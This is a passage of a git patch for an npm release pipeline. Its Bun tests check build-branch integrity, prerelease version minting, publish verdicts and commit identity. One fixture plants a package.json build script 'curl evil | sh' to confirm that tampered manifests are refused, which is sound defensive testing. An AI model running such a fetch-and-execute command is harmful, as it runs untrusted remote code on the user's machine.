git(planter, "checkout", "--quiet", source); stripWorkflows(planter); - write(planter, "lib/index.js", "planted\n"); - git(planter, "add", "-f", "lib/index.js"); + writeBuild(planter, "planted\n"); + stageBuild(planter); for (const [file, content] of Object.entries(files)) { write(planter, file, content); git(planter, "add", "-f", file); @@ -1735,8 +1814,9 @@ describe("advanceBuild", () => { const filler = clone(fx.root, fx.origin, "latest-filler"); git(filler, "checkout", "--quiet", fx.seedSha); stripWorkflows(filler); - write(filler, "lib/index.js", "packaged-bundle-bytes-0\n"); - git(filler, "add", "-f", "lib/index.js"); + writeBuild(filler, "packaged-bundle-bytes-0\n"); + stageBuild(filler); + stripPrepare(filler); const tree = git(filler, "write-tree"); let tip = kept; for (let n = 0; n < 51; n++) { @@ -1826,7 +1906,7 @@ describe("advanceBuild", () => { name: string, from: string, message: string[], - files: Record = { "lib/index.js": "planted\n" }, + files: Record = builtFiles("planted\n"), ): string { const planter = clone(fx.root, fx.origin, name); git(planter, "checkout", "--quiet", from); @@ -1868,8 +1948,9 @@ describe("advanceBuild", () => { const rebuild = clone(fx.root, fx.origin, name); git(rebuild, "checkout", "--quiet", source); stripWorkflows(rebuild); - write(rebuild, "lib/index.js", "planted\n"); - git(rebuild, "add", "-f", "lib/index.js"); + writeBuild(rebuild, "planted\n"); + stageBuild(rebuild); + stripPrepare(rebuild); return git(rebuild, "write-tree"); } @@ -1884,7 +1965,7 @@ describe("advanceBuild", () => { const expected = rebuiltTree(fx, `rebuilt-${planted.slice(0, 8)}`, source); return new Error( `refs/heads/build ${where} ${planted}, which names ${source} as its source but is not ` + - `${source} plus lib/index.js and the removal of .github/workflows/ alone: its tree is ` + + `${source} plus lib/index.js and lib/pkg/, minus package.json's prepare script, and the removal of .github/workflows/ alone: its tree is ` + `${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ` + `${source}: ${changed}); ${byHand}`, ); @@ -1895,8 +1976,8 @@ describe("advanceBuild", () => { const planter = clone(fx.root, fx.origin, "build-empty-subtree"); git(planter, "checkout", "--quiet", from); stripWorkflows(planter); - write(planter, "lib/index.js", "planted\n"); - git(planter, "add", "-f", "lib/index.js"); + writeBuild(planter, "planted\n"); + stageBuild(planter); const emptyTree = execFileSync("git", ["hash-object", "-w", "-t", "tree", "--stdin"], { cwd: planter, input: "", @@ -1964,20 +2045,20 @@ describe("advanceBuild", () => { }, ], [ - "naming this source but changing more than the bundle", + "naming this source but changing more than the build outputs", (fx) => { const planted = plantBuild( fx, "build-extra", fx.mergeSha, ["build: by hand", `Source: ${fx.mergeSha}`], - { "lib/index.js": "planted\n", "src/marker.ts": "export const marker = 666;\n" }, + { ...builtFiles("planted\n"), "src/marker.ts": "export const marker = 666;\n" }, ); return { planted, error: notAPackage(fx, "holds", planted, fx.mergeSha, "src/marker.ts") }; }, ], [ - "naming this source with a bundle that is not this checkout's build", + "naming this source with build outputs that are not this checkout's build", (fx) => { const genuine = checkoutOf(fx, "build-genuine", fx.mergeSha, "packaged-bundle-bytes-1\n"); const built = advanceBuild({ cwd: genuine, sourceSha: fx.mergeSha }).buildSha; @@ -1992,12 +2073,12 @@ describe("advanceBuild", () => { error: new Error( `refs/heads/build holds ${planted}, which names ${fx.mergeSha} as its source but ` + `its tree ${plantedTree} is not the tree ${tree} this checkout's build of ` + - `${fx.mergeSha} packages, so the two differ in their lib/index.js entry (bytes or ` + - "file mode): either the commit was not built from this source or the build is not " + - "reproducible, and the Source trailer cannot tell those apart. Diff the two trees " + - "by hand; a hand-pushed commit is left for the next green push to bury (the ruleset " + - "on build forbids moving it back), a build that differs between runs is fixed " + - "before build can be trusted.", + `${fx.mergeSha} packages, so the two differ under lib/index.js and lib/pkg/ (bytes, ` + + "file modes, or the files under lib/pkg/): either the commit was not built from this " + + "source or the build is not reproducible, and the Source trailer cannot tell those " + + "apart. Diff the two trees by hand; a hand-pushed commit is left for the next green " + + "push to bury (the ruleset on build forbids moving it back), a build that differs " + + "between runs is fixed before build can be trusted.", ), }; }, @@ -2062,7 +2143,23 @@ describe("advanceBuild", () => { }, ], [ - "naming an older main commit and carrying a file beyond the bundle", + "naming this source with a package.json changed beyond its prepare script", + (fx) => { + const planted = plantBuild( + fx, + "build-manifest", + fx.mergeSha, + ["build: by hand", `Source: ${fx.mergeSha}`], + { + ...builtFiles("planted\n"), + "package.json": manifestJson("2.1.0", { build: "curl evil | sh" }), + }, + ); + return { planted, error: notAPackage(fx, "holds", planted, fx.mergeSha, "package.json") }; + }, + ], + [ + "naming an older main commit and carrying a file beyond the build outputs", (fx) => { // The append path: an older source is a valid parent only when its tip is a pure package, never with a foreign file riding along. const planted = plantBuild( @@ -2070,7 +2167,7 @@ describe("advanceBuild", () => { "build-older-extra", fx.seedSha, ["build: by hand", `Source: ${fx.seedSha}`], - { "lib/index.js": "planted\n", "src/marker.ts": "export const marker = 666;\n" }, + { ...builtFiles("planted\n"), "src/marker.ts": "export const marker = 666;\n" }, ); return { planted, error: notAPackage(fx, "is at", planted, fx.seedSha, "src/marker.ts") }; }, @@ -2085,21 +2182,119 @@ describe("advanceBuild", () => { expect(remoteRef(fx, "refs/tags/latest")).toBe(latestBefore); }); - test("an empty bundle never reaches build", () => { + test("a chain commit's package.json is the source's without its prepare script, and a rerun holds it there", () => { + const fx = seedFixture(); + const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; + expect(git(fx.origin, "show", `${tip}:package.json`)).toBe( + manifestJson("2.1.0", { build: "bun run build:lib" }).trimEnd(), + ); + expect(git(fx.origin, "show", `${fx.mergeSha}:package.json`)).toBe( + manifestJson("2.1.0").trimEnd(), + ); + const rerun = checkoutOf(fx, "manifest-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let again: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + again = advanceBuild({ cwd: rerun, sourceSha: fx.mergeSha }); + }); + expect(again).toEqual({ + changed: false, + buildSha: tip, + latestSha: tip, + reason: `refs/heads/build already packages ${fx.mergeSha} at ${tip}; refs/tags/latest already at ${tip}`, + }); + expect(pushes).toEqual([]); + expect(buildTip(fx)).toBe(tip); + expect(latestTag(fx)).toBe(tip); + }); + + test.each(["lib/index.js", "lib/pkg/index.js"])("an empty %s never reaches build", (file) => { const fx = seedFixture(); - write(fx.work, "lib/index.js", ""); + write(fx.work, file, ""); expect(() => advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow( - /does not carry a non-empty regular-file lib\/index\.js/, + `does not carry a non-empty regular-file ${file}`, ); expect(remoteRef(fx, "refs/heads/build")).toBe(""); expect(remoteRef(fx, "refs/tags/latest")).toBe(""); }); + test("a build tip minted before the library rode along is built on, and the child carries it", () => { + const fx = seedFixture(); + // The chain as the pipeline left it before lib/pkg/ was packaged: the + // seed's tree minus workflows plus the bundle alone, latest on it. + const legacy = plantBuild( + fx, + "build-legacy", + fx.seedSha, + ["build: by hand", `Source: ${fx.seedSha}`], + { + "lib/index.js": "packaged-bundle-bytes-0\n", + }, + ); + git(fx.work, "fetch", "--quiet", "origin", "refs/heads/build"); + git(fx.work, "push", "--quiet", "--force", "origin", `${legacy}:refs/tags/latest`); + let result: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + result = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); + }); + const tip = buildTip(fx); + expect(result).toEqual({ changed: true, buildSha: tip, latestSha: tip, reason: advanced(tip) }); + expect(pushes).toEqual([appendOf(tip), latestOf(legacy, tip)]); + expect(parentOf(fx.origin, tip)).toBe(legacy); + expect(git(fx.origin, "diff", "--name-only", fx.mergeSha, tip)).toBe(PACKAGED_DIFF); + // A stale rerun of the legacy source's run under this pipeline builds + // lib/pkg/ the chain commit lacks: it stops rather than rewrite the chain. + const stale = checkoutOf(fx, "legacy-rerun", fx.seedSha, "packaged-bundle-bytes-0\n"); + expect(() => advanceBuild({ cwd: stale, sourceSha: fx.seedSha })).toThrow( + new RegExp( + `refs/heads/build holds ${legacy}, which names ${fx.seedSha} as its source but its tree [0-9a-f]{40} is not the tree [0-9a-f]{40} this checkout's build of ${fx.seedSha} packages, so the two differ under lib/index.js and lib/pkg/`, + ), + ); + expect(buildTip(fx)).toBe(tip); + expect(latestTag(fx)).toBe(tip); + }); + + test("a release tag on a chain commit without the library build fails the confirmation, whatever its bundle", () => { + const fx = seedFixture(); + // A legacy-shaped chain commit for the merge commit: right source, right + // bundle bytes, no lib/pkg/; build's tip, tagged as the release. + const planted = plantBuild( + fx, + "build-legacy-release", + fx.mergeSha, + ["build: by hand", `Source: ${fx.mergeSha}`], + { + "lib/index.js": "packaged-bundle-bytes-1\n", + }, + ); + git(fx.work, "fetch", "--quiet", "origin", "refs/heads/build"); + git( + fx.work, + "push", + "--quiet", + "origin", + `${planted}:refs/tags/v2.1.0`, + `${planted}:refs/tags/v2`, + ); + expect(() => + verifyPublishedRefs({ + cwd: shallowChecker(fx, "verify-legacy"), + tag: "v2.1.0", + sourceSha: fx.mergeSha, + }), + ).toThrow( + `${planted} does not carry a non-empty regular-file lib/pkg/index.js (no entry); refusing to point a consumable ref at an unpackaged commit.`, + ); + // The package rerun holds the tag to this checkout's whole build too. + expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( + /carries \[lib\/index\.js\] under lib\/index\.js and lib\/pkg\/, while this build of [0-9a-f]{40} produced \[lib\/index\.js, lib\/pkg\/index\.d\.ts, lib\/pkg\/index\.js\]/, + ); + }); + test("a shallow checkout is refused before any verdict", () => { const fx = seedFixture(); const dir = join(fx.root, "build-shallow"); execFileSync("git", ["clone", "--quiet", "--depth", "1", `file://${fx.origin}`, dir]); - write(dir, "lib/index.js", "packaged-bundle-bytes-1\n"); + writeBuild(dir, "packaged-bundle-bytes-1\n"); expect(() => advanceBuild({ cwd: dir, sourceSha: fx.mergeSha })).toThrow( /needs the full history.*shallow/, ); @@ -2114,8 +2309,9 @@ describe("advanceBuild", () => { const from = clone(fx.root, fx.origin, "build-competitor"); git(from, "checkout", "--quiet", fx.seedSha); stripWorkflows(from); - write(from, "lib/index.js", "competitor-bundle\n"); - git(from, "add", "-f", "lib/index.js"); + writeBuild(from, "competitor-bundle\n"); + stageBuild(from); + stripPrepare(from); const tree = git(from, "write-tree"); const shas: string[] = []; let first = ""; @@ -2269,8 +2465,9 @@ describe("advanceBuild", () => { const rival = clone(fx.root, fx.origin, "backfill"); git(rival, "checkout", "--quiet", fx.mergeSha); stripWorkflows(rival); - write(rival, "lib/index.js", "packaged-bundle-bytes-1\n"); - git(rival, "add", "-f", "lib/index.js"); + writeBuild(rival, "packaged-bundle-bytes-1\n"); + stageBuild(rival); + stripPrepare(rival); const rivalTree = git(rival, "write-tree"); // The tree's objects must already sit in origin for the hook to commit them. const holder = git(rival, "commit-tree", rivalTree, "-p", fx.mergeSha, "-m", "holder"); @@ -2468,3 +2665,438 @@ describe("release tag shape", () => { expect(remoteRef(fx, "refs/heads/build")).toBe(""); }); }); + +/** The version grammar as semver.org states it: what npm holds a version to + * before it normalizes one (a bare all-digit identifier loses its leading zero). */ +const SEMVER = + /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/; + +describe("prereleaseVersion", () => { + const sha = "b8df084c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a"; + const minted: [string, string, string, string][] = [ + ["2.0.0", "412", sha, "2.0.1-main.412.gb8df084"], + ["2.9.9", "7", sha, "2.9.10-main.7.gb8df084"], + ["0.0.0", "0", sha, "0.0.1-main.0.gb8df084"], + // The sha7 that would be rewritten to 123456 as a bare identifier. + ["2.0.0", "412", "0123456789abcdef0123456789abcdef01234567", "2.0.1-main.412.g0123456"], + ]; + test.each(minted)("manifest %s at run %s of %s mints %s", (manifest, run, source, expected) => { + const version = prereleaseVersion(manifest, run, source); + expect(version).toBe(expected); + expect(version).toMatch(SEMVER); + }); + + const refusedInputs: [string, [string, string, string], RegExp][] = [ + ["a manifest version with a pre-release", ["2.0.0-rc.1", "412", sha], /is not X\.Y\.Z/], + ["a manifest version missing its patch", ["2.0", "412", sha], /is not X\.Y\.Z/], + ["a run number with a leading zero", ["2.0.0", "0412", sha], /not a decimal integer/], + ["an empty run number", ["2.0.0", "", sha], /not a decimal integer/], + ["a short sha", ["2.0.0", "412", "b8df084"], /not a full commit sha/], + ["an upper-case sha", ["2.0.0", "412", sha.toUpperCase()], /not a full commit sha/], + ]; + test.each(refusedInputs)("%s is refused", (_name, args, error) => { + expect(() => prereleaseVersion(...args)).toThrow(error); + }); + + test("the checkout's version names the manifest at HEAD and the source it was told, which HEAD must be", () => { + const fx = seedFixture(); + expect(prereleaseVersionOf({ cwd: fx.work, sourceSha: fx.mergeSha, runNumber: "412" })).toBe( + `2.1.1-main.412.g${fx.mergeSha.slice(0, 7)}`, + ); + expect(() => + prereleaseVersionOf({ cwd: fx.work, sourceSha: fx.seedSha, runNumber: "412" }), + ).toThrow( + `the checkout is at ${fx.mergeSha}, not the source commit ${fx.seedSha} whose build is published.`, + ); + }); + + /** Run the script's subcommand under this bun as the workflow does: stdout, + * stderr, and status as they were. Asynchronous, so a registry served from + * this process can answer the child. */ + async function subcommand( + cwd: string, + env: Record, + ...args: string[] + ): Promise<{ stdout: string; stderr: string; status: number }> { + const script = join(import.meta.dir, "..", "..", ".github", "scripts", "release-pipeline.ts"); + const child = Bun.spawn([process.execPath, script, ...args], { + cwd, + env: Object.fromEntries( + Object.entries({ ...process.env, ...env }).filter(([, v]) => v !== undefined), + ) as Record, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + }); + const [stdout, stderr, status] = await Promise.all([ + new Response(child.stdout).text(), + new Response(child.stderr).text(), + child.exited, + ]); + return { stdout, stderr, status }; + } + + test("the subcommand prints the version alone on stdout, and nothing there when it fails", async () => { + const fx = seedFixture(); + expect( + await subcommand( + fx.work, + { GITHUB_SHA: fx.mergeSha, GITHUB_RUN_NUMBER: "412" }, + "prerelease-version", + ), + ).toEqual({ + stdout: `2.1.1-main.412.g${fx.mergeSha.slice(0, 7)}\n`, + stderr: "", + status: 0, + }); + const failed = await subcommand( + fx.work, + { GITHUB_SHA: fx.mergeSha, GITHUB_RUN_NUMBER: undefined }, + "prerelease-version", + ); + expect(failed).toEqual({ + stdout: "", + stderr: + 'release-pipeline prerelease-version: GITHUB_RUN_NUMBER is required for "prerelease-version"\n', + status: 1, + }); + }); + + const sha7 = "b8df084"; + const orderings: [string, string, "newer" | "same" | "older"][] = [ + ["2.1.0", "2.0.9", "newer"], + ["2.0.1", "2.0.1-main.412.gb8df084", "newer"], + ["2.0.1-main.412.gb8df084", "2.0.1", "older"], + ["2.0.1-main.412.gb8df084", "2.1.0", "older"], + ["2.0.1-main.413.g0000000", "2.0.1-main.412.gffffff0", "newer"], + ["2.0.1-main.412.gb8df084", "2.0.1-main.412.gb8df084", "same"], + ["2.0.1-main.412.gb8df085", "2.0.1-main.412.gb8df084", "newer"], + ["2.0.10", "2.0.9", "newer"], + ]; + test.each(orderings)("%s is %s than %s", (a, b, expected) => { + expect(versionOrder(a, b)).toBe(expected); + }); + + test("a version this pipeline never mints is refused, not ordered", () => { + expect(() => versionOrder("2.0.1-beta.1", "2.0.1")).toThrow( + /not a version this pipeline mints/, + ); + expect(() => versionOrder("2.0.1", "2.0.1-main.412.b8df084")).toThrow( + /not a version this pipeline mints/, + ); + }); + + const registry = (versions: string[], tags: Record): Packument => ({ + versions: Object.fromEntries(versions.map((v) => [v, {}])), + "dist-tags": tags, + }); + const nextVerdicts: [string, string, Packument | null, PublishVerdict][] = [ + [ + "a package the registry has never seen", + `2.0.1-main.412.g${sha7}`, + null, + { publish: true, version: `2.0.1-main.412.g${sha7}` }, + ], + [ + "the first pre-release after a release", + `2.0.1-main.412.g${sha7}`, + registry(["2.0.0"], { latest: "2.0.0" }), + { publish: true, version: `2.0.1-main.412.g${sha7}` }, + ], + [ + "a later run", + `2.0.1-main.413.g${sha7}`, + registry(["2.0.0", "2.0.1-main.412.g1111111"], { + latest: "2.0.0", + next: "2.0.1-main.412.g1111111", + }), + { publish: true, version: `2.0.1-main.413.g${sha7}` }, + ], + [ + "the release merge's own run (next stays above the stable that follows)", + `2.1.1-main.500.g${sha7}`, + registry(["2.0.0", "2.0.1-main.412.g1111111"], { + latest: "2.0.0", + next: "2.0.1-main.412.g1111111", + }), + { publish: true, version: `2.1.1-main.500.g${sha7}` }, + ], + [ + "a rerun of a run that already published", + `2.0.1-main.412.g${sha7}`, + registry(["2.0.0", `2.0.1-main.412.g${sha7}`], { + latest: "2.0.0", + next: `2.0.1-main.412.g${sha7}`, + }), + { + publish: false, + version: `2.0.1-main.412.g${sha7}`, + reason: `2.0.1-main.412.g${sha7} is already on the registry`, + }, + ], + [ + "a retry of an old run after a newer run published", + `2.0.1-main.412.g${sha7}`, + registry(["2.0.0", "2.0.1-main.413.g2222222"], { + latest: "2.0.0", + next: "2.0.1-main.413.g2222222", + }), + { + publish: false, + version: `2.0.1-main.412.g${sha7}`, + reason: `the registry's next is 2.0.1-main.413.g2222222, not older than 2.0.1-main.412.g${sha7}, so this stale run publishes nothing (npm publish --tag next would move next back)`, + }, + ], + [ + "a retry of an old run after a release shipped", + `2.0.1-main.412.g${sha7}`, + registry(["2.0.0", "2.1.0"], { latest: "2.1.0" }), + { + publish: false, + version: `2.0.1-main.412.g${sha7}`, + reason: `the registry's latest is 2.1.0, not older than 2.0.1-main.412.g${sha7}, so this stale run publishes nothing (npm publish --tag next would move next back)`, + }, + ], + [ + "the first CI run after the hand bootstrap, whatever dist-tag the registry gave it", + `2.0.1-main.412.g${sha7}`, + registry(["2.0.1-main.0.g0000000"], { + latest: "2.0.1-main.0.g0000000", + next: "2.0.1-main.0.g0000000", + }), + { publish: true, version: `2.0.1-main.412.g${sha7}` }, + ], + ]; + test.each(nextVerdicts)("next: %s", (_name, version, packument, expected) => { + expect(nextPublishVerdict(version, packument)).toEqual(expected); + }); + + const stableVerdicts: [string, string, Packument | null, PublishVerdict][] = [ + ["a package the registry has never seen", "2.1.0", null, { publish: true, version: "2.1.0" }], + [ + "the release after the bootstrap pre-release", + "2.1.0", + registry(["2.0.1-main.0.g0000000"], { + latest: "2.0.1-main.0.g0000000", + next: "2.0.1-main.0.g0000000", + }), + { publish: true, version: "2.1.0" }, + ], + [ + "a newer release", + "2.1.0", + registry(["2.0.0", "2.0.1-main.412.g1111111"], { + latest: "2.0.0", + next: "2.0.1-main.412.g1111111", + }), + { publish: true, version: "2.1.0" }, + ], + [ + "a rerun of the release's job", + "2.1.0", + registry(["2.0.0", "2.1.0"], { latest: "2.1.0" }), + { publish: false, version: "2.1.0", reason: "2.1.0 is already on the registry" }, + ], + [ + "a release taking latest over from a bootstrap pre-release that sorts above it", + "2.1.0", + registry(["2.1.1-main.0.g0000000"], { + latest: "2.1.1-main.0.g0000000", + next: "2.1.1-main.0.g0000000", + }), + { publish: true, version: "2.1.0" }, + ], + [ + "a rerun of an older release's job after a newer release", + "2.1.0", + registry(["2.0.0", "2.2.0"], { latest: "2.2.0" }), + { + publish: false, + version: "2.1.0", + reason: + "the registry's latest is 2.2.0, newer than 2.1.0, so this rerun of an older release publishes nothing (npm publish would move latest back)", + }, + ], + ]; + test.each(stableVerdicts)("stable: %s", (_name, version, packument, expected) => { + expect(stablePublishVerdict(version, packument)).toEqual(expected); + }); + + test("stable: a built package.json that is not the tag's version stops before the registry is asked", async () => { + const fx = seedFixture(); + const asked = await withRegistry({ status: 404 }, async (registry, requests) => { + await expect( + npmVerdict({ + cwd: fx.work, + channel: "stable", + sourceSha: fx.mergeSha, + tag: "v2.2.0", + registry, + }), + ).rejects.toThrow( + "package.json at the release source is version 2.1.0, but the release tag is v2.2.0; refusing to publish a version this source did not release.", + ); + return requests; + }); + expect(asked).toEqual([]); + }); + + /** A registry serving one packument (or the status given) for the fixture's package, on a local port. */ + function withRegistry( + answer: { status: number; body?: unknown }, + body: (url: string, requests: string[]) => Promise, + ): Promise { + const requests: string[] = []; + const server = Bun.serve({ + port: 0, + fetch(request) { + requests.push(new URL(request.url).pathname); + return answer.body === undefined + ? new Response("", { status: answer.status }) + : Response.json(answer.body, { status: answer.status }); + }, + }); + return body(`http://127.0.0.1:${server.port}`, requests).finally(() => server.stop(true)); + } + + test("the verdict reads the registry's record of the package named in package.json, and 404 is an unpublished package", async () => { + const fx = seedFixture(); + const verdict = await withRegistry({ status: 404 }, async (registry, requests) => { + const result = await npmVerdict({ + cwd: fx.work, + channel: "next", + sourceSha: fx.mergeSha, + runNumber: "412", + registry, + }); + return { result, requests }; + }); + expect(verdict).toEqual({ + result: { publish: true, version: `2.1.1-main.412.g${fx.mergeSha.slice(0, 7)}` }, + requests: ["/@scope%2Fpkg"], + }); + }); + + test("the verdict skips what the registry already holds on both channels", async () => { + const fx = seedFixture(); + const held = { versions: { "2.1.0": {}, "2.2.0": {} }, "dist-tags": { latest: "2.2.0" } }; + await withRegistry({ status: 200, body: held }, async (registry) => { + expect( + await npmVerdict({ + cwd: fx.work, + channel: "stable", + sourceSha: fx.mergeSha, + tag: "v2.1.0", + registry, + }), + ).toEqual({ + publish: false, + version: "2.1.0", + reason: "2.1.0 is already on the registry", + }); + expect( + await npmVerdict({ + cwd: fx.work, + channel: "next", + sourceSha: fx.mergeSha, + runNumber: "412", + registry, + }), + ).toEqual({ + publish: false, + version: `2.1.1-main.412.g${fx.mergeSha.slice(0, 7)}`, + reason: `the registry's latest is 2.2.0, not older than 2.1.1-main.412.g${fx.mergeSha.slice(0, 7)}, so this stale run publishes nothing (npm publish --tag next would move next back)`, + }); + }); + }); + + const malformed: [string, unknown, RegExp | string][] = [ + ["an empty object", {}, "is not a packument (an object with versions and dist-tags records)"], + ["an array", [], /is not a packument/], + ["versions as a list", { versions: ["2.1.0"], "dist-tags": {} }, /is not a packument/], + [ + "a dist-tag naming a non-string", + { versions: {}, "dist-tags": { latest: 210 } }, + /names dist-tag latest as 210, not a version/, + ], + ]; + test.each(malformed)( + "a 200 body that is %s stops the verdict, not an empty registry", + async (_name, body, error) => { + const fx = seedFixture(); + await withRegistry({ status: 200, body }, async (registry) => { + await expect( + npmVerdict({ + cwd: fx.work, + channel: "stable", + sourceSha: fx.mergeSha, + tag: "v2.1.0", + registry, + }), + ).rejects.toThrow(error); + }); + }, + ); + + test("a registry that answers anything but 200 or 404 stops the verdict instead of publishing blind", async () => { + const fx = seedFixture(); + await withRegistry({ status: 503 }, async (registry) => { + await expect( + npmVerdict({ + cwd: fx.work, + channel: "stable", + sourceSha: fx.mergeSha, + tag: "v2.1.0", + registry, + }), + ).rejects.toThrow( + `the registry answered 503 for @scope/pkg (${registry}/@scope%2Fpkg); refusing to publish without knowing what it holds.`, + ); + }); + }); + + test("the npm-verdict subcommand prints publish or skip on stdout, and the channel is required", async () => { + const fx = seedFixture(); + await withRegistry({ status: 404 }, async (registry) => { + expect( + await subcommand( + fx.work, + { GITHUB_SHA: fx.mergeSha, GITHUB_RUN_NUMBER: "412", NPM_REGISTRY_URL: registry }, + "npm-verdict", + "next", + ), + ).toEqual({ + stdout: `publish 2.1.1-main.412.g${fx.mergeSha.slice(0, 7)}\n`, + stderr: "", + status: 0, + }); + expect( + await subcommand( + fx.work, + { GITHUB_SHA: fx.mergeSha, TAG: "v2.1.0", NPM_REGISTRY_URL: registry }, + "npm-verdict", + "stable", + ), + ).toEqual({ stdout: "publish 2.1.0\n", stderr: "", status: 0 }); + }); + await withRegistry( + { status: 200, body: { versions: { "2.1.0": {} }, "dist-tags": { latest: "2.1.0" } } }, + async (registry) => { + expect( + await subcommand( + fx.work, + { GITHUB_SHA: fx.mergeSha, TAG: "v2.1.0", NPM_REGISTRY_URL: registry }, + "npm-verdict", + "stable", + ), + ).toEqual({ stdout: "skip 2.1.0 is already on the registry\n", stderr: "", status: 0 }); + }, + ); + expect(await subcommand(fx.work, { GITHUB_SHA: fx.mergeSha }, "npm-verdict")).toEqual({ + stdout: "", + stderr: + "release-pipeline npm-verdict: npm-verdict takes the channel, next or stable, not null\n", + status: 1, + }); + }); +}); From 1467780d78dea14e11b8deab41308915f05983ff Mon Sep 17 00:00:00 2001 From: Vivswan Shah <58091053+Vivswan@users.noreply.github.com> Date: Sat, 12 Sep 2026 01:52:46 -0400 Subject: [PATCH 2/5] fix(release): stamp the pipeline's commits per invocation instead of writing the checkout's config configureIdentity wrote user.name and user.email into the checkout's repository config, which outlives the run: run once against a real checkout, it stamped every later commit made from that repository and from every worktree sharing its config as the release bot (this is what happened locally). The identity now travels as GIT_AUTHOR_* and GIT_COMMITTER_* in the environment of the two git invocations that mint commits (commit-tree for chain commits, commit for the anchor); the major tag is lightweight and carries none. Tests pin the minted commits' author and committer and that a fixture clone's own config is untouched after each command; the config-writing form fails them. --- .github/scripts/release-pipeline.ts | 30 +++++++++++++++++++-------- test/scripts/release-pipeline.test.ts | 16 ++++++++++++++ 2 files changed, 37 insertions(+), 9 deletions(-) diff --git a/.github/scripts/release-pipeline.ts b/.github/scripts/release-pipeline.ts index 4a16d94f4..d73fc7a05 100644 --- a/.github/scripts/release-pipeline.ts +++ b/.github/scripts/release-pipeline.ts @@ -145,10 +145,14 @@ function tryGit(cwd: string, ...args: string[]): string | null { } } -function configureIdentity(cwd: string): void { - git(cwd, "config", "user.name", "settings-as-code-release"); - git(cwd, "config", "user.email", "settings-as-code-release@users.noreply.github.com"); -} +/** The identity the pipeline's own commits carry, passed per invocation: written into a checkout's config it would + * outlive the run and stamp every later commit made from that repository, or any worktree sharing it. */ +const BOT_IDENTITY = { + GIT_AUTHOR_NAME: "settings-as-code-release", + GIT_AUTHOR_EMAIL: "settings-as-code-release@users.noreply.github.com", + GIT_COMMITTER_NAME: "settings-as-code-release", + GIT_COMMITTER_EMAIL: "settings-as-code-release@users.noreply.github.com", +}; /** Every ref derivation passes through this parse, so a malformed tag stops the pipeline instead of minting "v2" * from "v2.1-rc.0". */ @@ -383,14 +387,23 @@ function commitChain( sourceSha: string, runUrl: string | undefined, ): string { - configureIdentity(cwd); const trailers = [`Source: ${sourceSha}`]; if (runUrl !== undefined) { trailers.push(`Workflow-run: ${runUrl}`); } const subject = `build: main at ${git(cwd, "rev-parse", "--short", sourceSha)}`; const parents = parent === null ? [] : ["-p", parent]; - return git(cwd, "commit-tree", ...parents, "-m", subject, "-m", trailers.join("\n"), tree); + return gitWithEnv( + cwd, + BOT_IDENTITY, + "commit-tree", + ...parents, + "-m", + subject, + "-m", + trailers.join("\n"), + tree, + ); } interface BuildTip { @@ -631,7 +644,6 @@ export function retagMajor(options: RetagMajorOptions): { major: string; package // The full verification, not a weaker probe: the major must never bless a commit a fresh package run would refuse. const packagedSha = verifyPackagedTag(cwd, tag, sourceSha); const major = releaseMajor(tag); - configureIdentity(cwd); const attempts = 3; for (let attempt = 1; attempt <= attempts; attempt++) { const newest = newestInLine(cwd, major); @@ -782,10 +794,10 @@ export function anchorReleasePr(options: AnchorOptions): AnchorResult { } config["last-release-sha"] = sourceSha; writeFileSync(join(cwd, CONFIG_FILE), `${JSON.stringify(config, null, 2)}\n`); - configureIdentity(cwd); git(cwd, "add", CONFIG_FILE); - git( + gitWithEnv( cwd, + BOT_IDENTITY, "commit", "-m", "chore: anchor release-please to this release cycle's base", diff --git a/test/scripts/release-pipeline.test.ts b/test/scripts/release-pipeline.test.ts index 39d948939..b88e5dcd3 100644 --- a/test/scripts/release-pipeline.test.ts +++ b/test/scripts/release-pipeline.test.ts @@ -297,6 +297,16 @@ function shallowChecker(fx: Fixture, name: string): string { } const buildTip = (fx: Fixture): string => git(fx.origin, "rev-parse", "refs/heads/build"); +/** Author and committer of a commit, as the pipeline must stamp its own. */ +const identityOf = (cwd: string, sha: string): string => + git(cwd, "log", "-1", "--format=%an <%ae> / %cn <%ce>", sha); +const BOT = "settings-as-code-release "; +const BOT_IDENTITY = `${BOT} / ${BOT}`; +/** The identity a clone's own config carries after the pipeline ran in it: clone() set it, and it must stay + * (a repo config the pipeline wrote would outlive the run and stamp every later commit from that checkout). */ +const localIdentity = (cwd: string): string => + `${git(cwd, "config", "--local", "--get", "user.name")} <${git(cwd, "config", "--local", "--get", "user.email")}>`; +const FIXTURE_IDENTITY = "fixture "; /** A commit's first parent as its object records it, whatever ref or shallow state the reading clone is in. */ const parentOf = (cwd: string, sha: string): string => git(cwd, "cat-file", "-p", sha).match(/^parent ([0-9a-f]{40})$/m)?.[1] ?? ""; @@ -987,6 +997,8 @@ describe("retagMajor", () => { expect(moved).toEqual({ major: "v2", packagedSha }); expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(packagedSha); expect(buildTip(fx)).toBe(packagedSha); + expect(identityOf(fx.origin, packagedSha)).toBe(BOT_IDENTITY); + expect(localIdentity(fx.work)).toBe(FIXTURE_IDENTITY); const next = prepareNextRelease(fx, "2.1.1", 44, "packaged-bundle-bytes-2\n"); const packaged = packageRelease({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); @@ -1277,6 +1289,8 @@ describe("anchorReleasePr", () => { const worker = clone(fx.root, fx.origin, "anchor-worker"); const result = anchorReleasePr({ cwd: worker, sourceSha: mainHead }); expect(result.changed).toBe(true); + expect(identityOf(worker, "HEAD")).toBe(BOT_IDENTITY); + expect(localIdentity(worker)).toBe(FIXTURE_IDENTITY); const check = clone(fx.root, fx.origin, "anchor-check"); git(check, "checkout", "--quiet", "release-please--branches--main"); const config = 